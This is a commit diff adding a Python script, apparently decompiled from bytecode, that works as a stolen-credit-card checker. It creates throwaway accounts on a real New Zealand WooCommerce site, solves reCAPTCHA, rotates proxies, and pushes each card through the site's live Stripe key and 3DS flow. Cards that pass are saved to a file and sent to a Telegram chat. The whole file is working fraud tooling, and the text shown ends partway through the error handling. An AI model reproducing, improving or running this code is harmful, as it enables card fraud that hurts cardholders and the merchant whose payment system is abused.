first commi
This commit is contained in:
664
checker/legacy/check.py
Normal file
664
checker/legacy/check.py
Normal file
@@ -0,0 +1,664 @@
|
||||
import uuid
|
||||
import secrets
|
||||
import string
|
||||
import random
|
||||
import time
|
||||
import datetime
|
||||
import sys
|
||||
import base64
|
||||
import json
|
||||
import socket
|
||||
import requests
|
||||
import threading
|
||||
from requests import exceptions
|
||||
import urllib3
|
||||
from faker import Faker
|
||||
from colorama import Fore, Style
|
||||
# Prefer package-relative imports when available; fall back to local module for script execution.
|
||||
try:
|
||||
from .utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts
|
||||
from .recha.reca import RecaptchaSolverSync
|
||||
except ImportError: # Running as a script without package context
|
||||
from utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts
|
||||
from recha.reca import RecaptchaSolverSync
|
||||
# 假设这些是从外部作用域导入或定义的全局变量/函数
|
||||
# 因为字节码中只是加载了它们
|
||||
# UA, gstr, generate_password, sleep_random, solve_recaptcha_token, telegram_send
|
||||
# print_lock, file_lock, sent_telegram, tg_token, tg_chat_id
|
||||
print_lock = threading.Lock()
|
||||
file_lock = threading.Lock()
|
||||
sent_lock = threading.Lock()
|
||||
tg_token = None
|
||||
tg_chat_id = None
|
||||
sent_telegram = set()
|
||||
|
||||
# 假设 RecaptchaSolverSync 是从其他模块导入的类
|
||||
def solve_recaptcha_token(anchor_url, proxies=None, timeout=20):
|
||||
# 1. 初始化求解器
|
||||
# 允许 proxies 为空,避免调用方必须传值
|
||||
solver = RecaptchaSolverSync(timeout=timeout, proxies=proxies)
|
||||
# 2. 调用 solve 方法并返回结果
|
||||
return solver.solve(anchor_url)
|
||||
|
||||
def check(card, sess, proxy_list):
|
||||
# 1. 初始化 ID
|
||||
session_uuid = str(uuid.uuid4())
|
||||
GUID = str(uuid.uuid4())
|
||||
MUID = str(uuid.uuid4())
|
||||
SID = str(uuid.uuid4())
|
||||
|
||||
# 2. 解析卡片信息
|
||||
# 字节码中有一个生成器用于 strip 字符串
|
||||
cardnum, mm, yyyy, cvv = [s.strip() for s in card.strip().split('|')]
|
||||
|
||||
mm = mm.zfill(2)
|
||||
yy = str(yyyy)[-2:].zfill(2)
|
||||
cvv = cvv[:4]
|
||||
bin_code = cardnum[:6]
|
||||
cardfull = f"{cardnum}|{mm}|{yy}|{cvv}"
|
||||
|
||||
# 3. 生成用户信息
|
||||
password = generate_password(10, 16)
|
||||
delay = sleep_random(1, 3)
|
||||
|
||||
# 用户名生成逻辑
|
||||
username_chars = string.ascii_lowercase + string.digits + '._'
|
||||
alnum = string.ascii_lowercase + string.digits
|
||||
min_user_len, max_user_len = (6, 12)
|
||||
length = secrets.choice(range(min_user_len, max_user_len + 1))
|
||||
|
||||
first = secrets.choice(alnum)
|
||||
last = secrets.choice(alnum)
|
||||
middle = []
|
||||
prev = ''
|
||||
|
||||
# 避免连续的特殊字符 (._)
|
||||
for _ in range(max(0, length - 2)):
|
||||
ch = secrets.choice(username_chars)
|
||||
while prev in '._' and ch in '._':
|
||||
ch = secrets.choice(alnum)
|
||||
middle.append(ch)
|
||||
prev = ch
|
||||
|
||||
base = first + ''.join(middle) + last
|
||||
uniq = uuid.uuid4().hex[:4]
|
||||
username = (base + uniq)[:length] # 字节码逻辑实际上是在这里截断
|
||||
|
||||
timeout = 15
|
||||
max_retries = 5
|
||||
|
||||
# 临时邮箱域名列表
|
||||
email_domains = [
|
||||
'startmail.com', 'runbox.com', 'posteo.de', 'openmailbox.org', 'safe-mail.net',
|
||||
'keemail.me', 'mykolab.com', 'eclipso.eu', 'neomailbox.com', 'mailbox.org',
|
||||
'msgsafe.io', 'torguard.tg', 'vfemail.net', 'scryptmail.com', 'luxsci.com',
|
||||
'onmail.com', 'simplelogin.io', 'anonaddy.com', 'duck.com', 'pm.me',
|
||||
'swissmail.org', 'kolabnow.com', 'mailnesia.com', 'spamgourmet.com',
|
||||
'mailsac.com', 'relay.firefox.com', 'emailondeck.com', 'moakt.com',
|
||||
'maildrop.cc', 'nowmymail.com', 'throwawaymail.com', 'mailcatch.com',
|
||||
'mailnull.com', 'spamavert.com', 'mail-temporaire.fr', 'rcpt.at',
|
||||
'mailnesia.com', 'spamfree24.org', 'temp-mail.io', 'easytrashmail.com',
|
||||
'inboxkitten.com', 'trashmail.de', 'wh4f.org', 'vibemail.net',
|
||||
'spamex.com', 'trbvm.com', 'getairmail.com', 'webemail.me',
|
||||
'kurzepost.de', 'lortemail.dk', 'spambog.com', 'spambog.ru',
|
||||
'yepmail.net', 'tempail.com', 'fakeinbox.com', 'meltmail.com',
|
||||
'deadaddress.com', 'jetable.org', 'mailhazard.com', 'tagmymail.com'
|
||||
]
|
||||
|
||||
tempmail = f"{username}@{random.choice(email_domains)}"
|
||||
|
||||
# 时间戳生成
|
||||
timeunix = str(int(time.time()))[:7]
|
||||
timeunixx = str(int(time.time()))
|
||||
ts_now = format_ts(datetime.datetime.now(datetime.timezone.utc)) # 假设 format_ts 存在
|
||||
|
||||
# Faker 生成其他信息
|
||||
fake = Faker('en_US')
|
||||
first_name = fake.first_name_male()
|
||||
last_name = fake.last_name_male()
|
||||
email = fake.free_email() # 字节码中生成了但似乎后面用了 tempmail
|
||||
zipcode = fake.postalcode()
|
||||
|
||||
RotationUserAgents = random.choice(UA) # UA 是外部列表
|
||||
|
||||
proxies_source = list(proxy_list) if proxy_list else []
|
||||
tried = set()
|
||||
max_attempts = max_retries
|
||||
attempt = 0
|
||||
|
||||
# 4. 主循环:代理重试逻辑
|
||||
while attempt < max_attempts:
|
||||
try:
|
||||
attempt += 1
|
||||
if proxies_source and len(tried) >= len(proxies_source):
|
||||
return ("No proxy available", None)
|
||||
|
||||
if proxies_source:
|
||||
proxy = random.choice(proxies_source)
|
||||
while proxy in tried:
|
||||
proxy = random.choice(proxies_source)
|
||||
tried.add(proxy)
|
||||
proxies = {'http': proxy, 'https': proxy}
|
||||
else:
|
||||
proxies = None
|
||||
|
||||
# --- 请求逻辑开始 ---
|
||||
|
||||
# 请求 1: 解决 Recaptcha
|
||||
anchor_url = 'https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfAYREqAAAAAGMmzJpVy-ZtfdQgCuGSBRx8f321&co=aHR0cHM6Ly93d3cud29tZW5zYWlkLm9yZy51azo0NDM.&hl=en&v=bGi-DxR800FVc7f0siDI2jNQ&size=invisible&anchor-ms=20000&execute-ms=15000&cb=6mmplhhp955x'
|
||||
token = solve_recaptcha_token(anchor_url, proxies=proxies, timeout=20)
|
||||
|
||||
# 请求 2: 查询 BIN 信息
|
||||
url = f'https://bins.antipublic.cc/bins/{cardnum[:6]}'
|
||||
r1 = sess.get(url=url)
|
||||
|
||||
# 使用 gstr 提取 BIN 信息 (假设 gstr 是 get_string_between)
|
||||
brands = gstr(r1.text, 'brand":"', '"').upper() or 'UNKNOWN'
|
||||
country2 = gstr(r1.text, 'country_name":"', '"').upper() or 'UNKNOWN'
|
||||
country_emoji = gstr(r1.text, 'country_flag":"', '"').upper() or 'UNKNOWN'
|
||||
banks = gstr(r1.text, 'bank":"', '"').upper() or 'UNKNOWN'
|
||||
typecard = gstr(r1.text, 'type":"', '"').upper() or 'UNKNOWN'
|
||||
levelcc = gstr(r1.text, 'level":"', '"').upper() or 'UNKNOWN'
|
||||
|
||||
# 请求 3: 访问 My Account 页面
|
||||
headers = {
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
|
||||
'accept-language': 'en-US,en;q=0.9',
|
||||
'cache-control': 'no-cache',
|
||||
'dnt': '1',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=0, i',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
response = sess.get('https://ihorangi.ac.nz/my-account/', headers=headers, proxies=proxies, timeout=timeout)
|
||||
txt = response.text.strip()
|
||||
|
||||
# 提取 nonce
|
||||
wogreg = gstr(txt, 'woocommerce-register-nonce" value="', '"')
|
||||
|
||||
# 请求 4: 注册账户
|
||||
headers = {
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
|
||||
'accept-language': 'en-US,en;q=0.9',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'dnt': '1',
|
||||
'origin': 'https://ihorangi.ac.nz',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=0, i',
|
||||
'referer': 'https://ihorangi.ac.nz/my-account/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
data = {
|
||||
'email': tempmail,
|
||||
'wc_order_attribution_source_type': 'typein',
|
||||
'wc_order_attribution_referrer': '(none)',
|
||||
'wc_order_attribution_utm_campaign': '(none)',
|
||||
'wc_order_attribution_utm_source': '(direct)',
|
||||
'wc_order_attribution_utm_medium': '(none)',
|
||||
'wc_order_attribution_utm_content': '(none)',
|
||||
'wc_order_attribution_utm_id': '(none)',
|
||||
'wc_order_attribution_utm_term': '(none)',
|
||||
'wc_order_attribution_utm_source_platform': '(none)',
|
||||
'wc_order_attribution_utm_creative_format': '(none)',
|
||||
'wc_order_attribution_utm_marketing_tactic': '(none)',
|
||||
'wc_order_attribution_session_entry': 'https://ihorangi.ac.nz/my-account/',
|
||||
'wc_order_attribution_session_start_time': ts_now,
|
||||
'wc_order_attribution_session_pages': '1',
|
||||
'wc_order_attribution_session_count': '1',
|
||||
'wc_order_attribution_user_agent': random.choice(UA),
|
||||
'woocommerce-register-nonce': wogreg,
|
||||
'_wp_http_referer': '/my-account/',
|
||||
'register': 'Register'
|
||||
}
|
||||
response = sess.post('https://ihorangi.ac.nz/my-account/', headers=headers, data=data, proxies=proxies, timeout=timeout)
|
||||
txt = response.text.strip()
|
||||
|
||||
# 检查注册是否成功,如果不成功则重试
|
||||
if response.status_code not in (200, 301, 302):
|
||||
time.sleep(random.uniform(5, 10))
|
||||
sess.close()
|
||||
continue # 重试循环
|
||||
|
||||
# 请求 5: 访问支付方式页面
|
||||
headers = {
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
|
||||
'accept-language': 'en-US,en;q=0.9',
|
||||
'cache-control': 'no-cache',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=0, i',
|
||||
'referer': 'https://ihorangi.ac.nz/my-account/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
response = sess.get('https://ihorangi.ac.nz/my-account/payment-methods/', headers=headers, proxies=proxies, timeout=timeout)
|
||||
|
||||
# 请求 6: 访问添加支付方式页面并提取 Stripe Key 和 Nonce
|
||||
headers = {
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
||||
'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh-CN;q=0.5,zh;q=0.4',
|
||||
'cache-control': 'no-cache',
|
||||
'dnt': '1',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=0, i',
|
||||
'referer': 'https://ihorangi.ac.nz/my-account/payment-methods/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
response = sess.get('https://ihorangi.ac.nz/my-account/add-payment-method/', headers=headers, proxies=proxies, timeout=timeout)
|
||||
txt = response.text.strip()
|
||||
|
||||
pklive = 'pk_live_51PNnUYCpbsAx05ZQuvx5UVPB6OydHAwDUFaKTeblYjQDucB8985OeQ6ceodC9EhWgClX2wvS7jaVTSNnr0SkektW00mh3KBqQ3'
|
||||
stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce": "', '"')
|
||||
if not stpnonce:
|
||||
stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce":"', '"')
|
||||
|
||||
# 请求 7: Stripe Elements Session
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://js.stripe.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://js.stripe.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
url_elements = f'https://api.stripe.com/v1/elements/sessions?deferred_intent[mode]=setup&deferred_intent[currency]=nzd&deferred_intent[payment_method_types][0]=card&deferred_intent[setup_future_usage]=off_session¤cy=nzd&key={pklive}&_stripe_version=2024-06-20&elements_init_source=stripe.elements&referrer_host=ihorangi.ac.nz&stripe_js_id={session_uuid}&locale=en&type=deferred_intent'
|
||||
response = sess.get(url_elements, headers=headers, timeout=timeout, proxies=proxies)
|
||||
|
||||
# 请求 8: Link Cookie
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'accept-language': 'en-US,en;q=0.9',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://js.stripe.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://js.stripe.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
params = {'referrer_host': 'ihorangi.ac.nz'}
|
||||
response = sess.get('https://merchant-ui-api.stripe.com/link/get-cookie', params=params, headers=headers, proxies=proxies, timeout=timeout)
|
||||
|
||||
# 请求 9: hCaptcha Check
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'accept-language': 'en-US,en;q=0.9',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'text/plain',
|
||||
'origin': 'https://newassets.hcaptcha.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://newassets.hcaptcha.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
params = {
|
||||
'v': '2e2f9feae51e15dd4676ba8e3d761ec72f41b826',
|
||||
'host': 'b.stripecdn.com',
|
||||
'sitekey': '463b917e-e264-403f-ad34-34af0ee10294',
|
||||
'sc': '1',
|
||||
'swa': '1',
|
||||
'spst': '0'
|
||||
}
|
||||
response = sess.post('https://api.hcaptcha.com/checksiteconfig', params=params, headers=headers, proxies=proxies, timeout=timeout)
|
||||
txt = response.text.strip()
|
||||
|
||||
tokxn = 'P1_' + gstr(txt, 'req":"', '"')
|
||||
|
||||
# 请求 10: Stripe Payment Methods (Tokenize Card)
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://js.stripe.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://js.stripe.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
data = f'type=card&card[number]={cardnum}&card[cvc]={cvv}&card[exp_year]={yy}&card[exp_month]={mm}&allow_redisplay=unspecified&billing_details[address][country]=NZ&pasted_fields=number%2Ccvc&payment_user_agent=stripe.js%2F8c194b4c2c%3B+stripe-js-v3%2F8c194b4c2c%3B+payment-element%3B+deferred-intent&referrer=https%3A%2F%2Fihorangi.ac.nz&time_on_page={timeunix}&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=elements&client_attribution_metadata[merchant_integration_subtype]=payment-element&client_attribution_metadata[merchant_integration_version]=2021&client_attribution_metadata[payment_intent_creation_flow]=deferred&client_attribution_metadata[payment_method_selection_flow]=merchant_specified&client_attribution_metadata[elements_session_config_id]=47f07f96-4b09-4cf0-9d48-4343573d8fa2&client_attribution_metadata[merchant_integration_additional_elements][0]=payment&guid={GUID}&muid={MUID}&sid={SID}&key={pklive}&_stripe_version=2024-06-20'
|
||||
|
||||
response = sess.post('https://api.stripe.com/v1/payment_methods', headers=headers, data=data, timeout=timeout, proxies=proxies)
|
||||
txt = response.text.strip()
|
||||
|
||||
if response.status_code != 200:
|
||||
# 错误处理逻辑
|
||||
msx = gstr(txt, 'message": "', '"')
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTRED_EX}{msx}{Style.RESET_ALL}")
|
||||
sess.close()
|
||||
return (msx or 'payment_methods_failed', False)
|
||||
|
||||
idtoken = gstr(txt, 'id": "', '"')
|
||||
|
||||
# 请求 11: WooCommerce 后端确认 Setup Intent
|
||||
headers = {
|
||||
'accept': '*/*',
|
||||
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'origin': 'https://ihorangi.ac.nz',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://ihorangi.ac.nz/my-account/add-payment-method/',
|
||||
'user-agent': random.choice(UA),
|
||||
'x-requested-with': 'XMLHttpRequest'
|
||||
}
|
||||
data = {
|
||||
'action': 'wc_stripe_create_and_confirm_setup_intent',
|
||||
'wc-stripe-payment-method': idtoken,
|
||||
'wc-stripe-payment-type': 'card',
|
||||
'_ajax_nonce': stpnonce
|
||||
}
|
||||
response = sess.post('https://ihorangi.ac.nz/wp-admin/admin-ajax.php', headers=headers, data=data, timeout=timeout, proxies=proxies, allow_redirects=False)
|
||||
txt = response.text.strip()
|
||||
try:
|
||||
resp = response.json()
|
||||
except ValueError:
|
||||
resp = None
|
||||
|
||||
if not isinstance(resp, dict):
|
||||
preview = txt[:400]
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTYELLOW_EX}[DEBUG]{Style.RESET_ALL} Unexpected AJAX response ({type(resp).__name__}) -> {preview}")
|
||||
resp = {}
|
||||
|
||||
if resp.get('data') and isinstance(resp['data'], dict):
|
||||
data = resp['data']
|
||||
else:
|
||||
data = resp
|
||||
|
||||
status = str(data.get('status', '')).lower()
|
||||
text = response.text.strip().lower()
|
||||
text_lower = text
|
||||
|
||||
# --- 结果判断逻辑 ---
|
||||
|
||||
# 1. 直接成功
|
||||
if 'success' in data and data['success'] is True:
|
||||
# 后面统一处理
|
||||
pass
|
||||
|
||||
# 2. 需要 3DS 验证 (Requires Action)
|
||||
elif status == 'requires_action':
|
||||
next_action = data.get('next_action', {})
|
||||
sdk = next_action.get('use_stripe_sdk', {})
|
||||
seti_id = data.get('id')
|
||||
client_secret = data.get('client_secret')
|
||||
merchant = sdk.get('merchant')
|
||||
server_transaction_id = sdk.get('server_transaction_id')
|
||||
three_ds_source = sdk.get('three_d_secure_2_source')
|
||||
|
||||
# 发起 3DS 确认请求
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://js.stripe.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://js.stripe.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
data_confirm = f'use_stripe_sdk=true&mandate_data[customer_acceptance][type]=online&mandate_data[customer_acceptance][online][infer_from_client]=true&key={pklive}&_stripe_version=2024-06-20&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=l1&client_secret={client_secret}'
|
||||
|
||||
response = sess.post(f'https://api.stripe.com/v1/setup_intents/{seti_id}/confirm', headers=headers, data=data_confirm, timeout=timeout, proxies=proxies)
|
||||
resp = response.json()
|
||||
data = resp['data']
|
||||
next_action = data.get('next_action', {})
|
||||
sdk = next_action.get('use_stripe_sdk', {})
|
||||
seti_id = data.get('id')
|
||||
client_secret = data.get('client_secret')
|
||||
merchant = sdk.get('merchant')
|
||||
server_transaction_id = sdk.get('server_transaction_id')
|
||||
three_ds_source = sdk.get('three_d_secure_2_source')
|
||||
|
||||
# Cardinal Commerce 指纹处理
|
||||
payload = {'threeDSServerTransID': server_transaction_id}
|
||||
encoded = base64.b64encode(json.dumps(payload, separators=(',', ':')).encode()).decode()
|
||||
|
||||
headers_cardinal = {
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://geoissuer.cardinalcommerce.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=0, i',
|
||||
'referer': 'https://geoissuer.cardinalcommerce.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
data_cardinal = {'threeDSMethodData': encoded}
|
||||
sess.post(f'https://hooks.stripe.com/3d_secure_2/fingerprint/{merchant}/', headers=headers_cardinal, data=data_cardinal, timeout=timeout, proxies=proxies)
|
||||
|
||||
# 3DS 认证请求
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://js.stripe.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://js.stripe.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
browser_data = {
|
||||
'fingerprintAttempted': 'Y',
|
||||
'challengeWindowSize': '0', # 字节码里看起来像 0 或 False
|
||||
'threeDSCompInd': 'Y',
|
||||
'browserJavaEnabled': 'false',
|
||||
'browserJavascriptEnabled': 'true',
|
||||
'browserLanguage': 'en-US',
|
||||
'browserColorDepth': '24',
|
||||
'browserScreenHeight': '1080',
|
||||
'browserScreenWidth': '1920',
|
||||
'browserTZ': '0',
|
||||
'browserUserAgent': random.choice(UA)
|
||||
}
|
||||
data_auth = {
|
||||
'source': three_ds_source,
|
||||
'browser': json.dumps(browser_data),
|
||||
'one_click_authn_device_support[hosted]': 'false',
|
||||
'one_click_authn_device_support[same_origin_frame]': 'false',
|
||||
'one_click_authn_device_support[spc_eligible]': 'false',
|
||||
'one_click_authn_device_support[webauthn_eligible]': 'false',
|
||||
'one_click_authn_device_support[publickey_credentials_get_allowed]': 'true',
|
||||
'key': pklive,
|
||||
'_stripe_version': '2024-06-20'
|
||||
}
|
||||
response = sess.post('https://api.stripe.com/v1/3ds2/authenticate', headers=headers, data=data_auth, timeout=timeout, proxies=proxies)
|
||||
|
||||
# 再次确认 Setup Intent
|
||||
headers = {
|
||||
'accept': 'application/json',
|
||||
'accept-language': 'en-US,en;q=0.9',
|
||||
'cache-control': 'no-cache',
|
||||
'content-type': 'application/x-www-form-urlencoded',
|
||||
'origin': 'https://js.stripe.com',
|
||||
'pragma': 'no-cache',
|
||||
'priority': 'u=1, i',
|
||||
'referer': 'https://js.stripe.com/',
|
||||
'user-agent': random.choice(UA)
|
||||
}
|
||||
params = {
|
||||
'is_stripe_sdk': 'false',
|
||||
'client_secret': client_secret,
|
||||
'key': pklive,
|
||||
'_stripe_version': '2024-06-20'
|
||||
}
|
||||
response = sess.get(f'https://api.stripe.com/v1/setup_intents/{seti_id}', params=params, headers=headers, timeout=timeout, proxies=proxies)
|
||||
rjson = response.json()
|
||||
text_lower = response.text.lower().strip()
|
||||
text = response.text.strip()
|
||||
|
||||
data = rjson['data'] # 字节码逻辑
|
||||
status = str(data.get('status', '')).lower()
|
||||
|
||||
# --- 结果输出 ---
|
||||
mesg = gstr(txt, 'message":"', '"') or gstr(txt, 'message": "', '"')
|
||||
stats = gstr(txt, 'status":"', '"') or gstr(txt, 'status": "', '"')
|
||||
|
||||
# 成功
|
||||
if (resp.get('success') is True) or ('succeeded' in status) or ('succeeded' in text_lower):
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (SUCCEEDED).{Style.RESET_ALL}")
|
||||
|
||||
with file_lock:
|
||||
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
|
||||
f.write(f"{cardnum}|{mm}|{yy}|{cvv}|SUCCEEDED|\n")
|
||||
|
||||
if tg_token and tg_chat_id:
|
||||
with sent_lock:
|
||||
if card not in sent_telegram:
|
||||
msg = f"<b>Stripe Charge 0.10$</b>\n\n<b>CC</b> : <code>{cardfull}</code>\n<b>Status</b> : Approved!✅\n<b>Response</b> : Succeeded\n<b>Gates</b> : Stripe Charge\n\n<b>Bin</b> : {cardnum[:6]} - <b>Brand</b> : {brands} - <b>Type</b> : {typecard} - <b>Country</b> : {country2} {country_emoji} - <b>Issuer</b> : {banks}"
|
||||
telegram_send(tg_token, tg_chat_id, msg, timeout)
|
||||
sent_telegram.add(card)
|
||||
|
||||
sess.close()
|
||||
return ("Succeeded", True)
|
||||
|
||||
# 需要 3DS (Requires Action) - 通常被视为通过或半通过
|
||||
elif 'requires_action' in status or 'requires_action' in text_lower:
|
||||
with print_lock:
|
||||
print(f"{Fore.YELLOW} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.YELLOW}3DS Required.{Style.RESET_ALL}")
|
||||
sess.close()
|
||||
return ("3DS required", None)
|
||||
|
||||
# 需要支付方式 (通常用于捕捉 Decline)
|
||||
elif status == 'requires_payment_method' or 'requires_payment_method' in text_lower:
|
||||
msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"')
|
||||
with print_lock:
|
||||
print(f"{Fore.RED} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}")
|
||||
return (msx or 'requires_payment_method', False)
|
||||
|
||||
# 余额不足 (Insufficient Funds)
|
||||
elif 'last_payment_error' in status or 'last_payment_error' in text_lower:
|
||||
msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"')
|
||||
with print_lock:
|
||||
print(f"{Fore.RED} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}")
|
||||
|
||||
# 余额不足通常被视为 Approved CVV Live
|
||||
if any(k in text_lower for k in ['insufficient_funds', 'insufficient funds']):
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (Insufficient Funds).{Style.RESET_ALL}")
|
||||
|
||||
with file_lock:
|
||||
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
|
||||
f.write(f"{cardnum}|{mm}|{yy}|{cvv}|INSUFFICIENT_FUNDS|\n")
|
||||
|
||||
if tg_token and tg_chat_id:
|
||||
with sent_lock:
|
||||
if card not in sent_telegram:
|
||||
msg = f"<b>Stripe Charge 0.10$</b>\n\n<b>CC</b> : <code>{cardfull}</code>\n<b>Status</b> : Approved!✅\n<b>Response</b> : Insufficient Funds\n<b>Gates</b> : Stripe Charge\n\n<b>Bin</b> : {cardnum[:6]} - <b>Brand</b> : {brands} - <b>Type</b> : {typecard} - <b>Country</b> : {country2} {country_emoji} - <b>Issuer</b> : {banks}"
|
||||
telegram_send(tg_token, tg_chat_id, msg, timeout)
|
||||
sent_telegram.add(card)
|
||||
|
||||
sess.close()
|
||||
return ("Insufficient funds", True)
|
||||
|
||||
# 特定错误:操作过快
|
||||
elif mesg and 'You cannot add a new payment method so soon after the previous one.' in mesg:
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTYELLOW_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}RETRY {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}Retrying.. IP is temporarily blocked{Style.RESET_ALL}")
|
||||
time.sleep(random.uniform(5, 10))
|
||||
sess.close()
|
||||
continue # 重试
|
||||
|
||||
# 默认失败
|
||||
else:
|
||||
message = resp.get('data', {}).get('error', {}).get('message') if isinstance(resp, dict) else None
|
||||
if mesg:
|
||||
message = mesg
|
||||
error_type = 'RequestError'
|
||||
hint = message or 'Unknown error'
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.RED}{error_type}: {hint}{Style.RESET_ALL}")
|
||||
sess.close()
|
||||
return (hint, False)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(1)
|
||||
|
||||
except Exception as e:
|
||||
# 异常处理映射
|
||||
err_msg = str(e).lower()
|
||||
hint = 'Unknown error occurred.'
|
||||
error_type = type(e).__name__
|
||||
|
||||
if isinstance(e, exceptions.ConnectTimeout):
|
||||
hint = 'Connection timed out while connecting to host.'
|
||||
elif isinstance(e, exceptions.ReadTimeout):
|
||||
hint = 'Server took too long to respond.'
|
||||
elif isinstance(e, exceptions.Timeout):
|
||||
hint = 'Request timeout (connect/read).'
|
||||
elif isinstance(e, socket.timeout):
|
||||
hint = 'Socket-level timeout occurred.'
|
||||
elif isinstance(e, exceptions.ConnectionError):
|
||||
if 'reset' in err_msg: hint = 'Connection reset — remote host dropped connection.'
|
||||
elif 'refused' in err_msg: hint = 'Connection refused — host blocked or service down.'
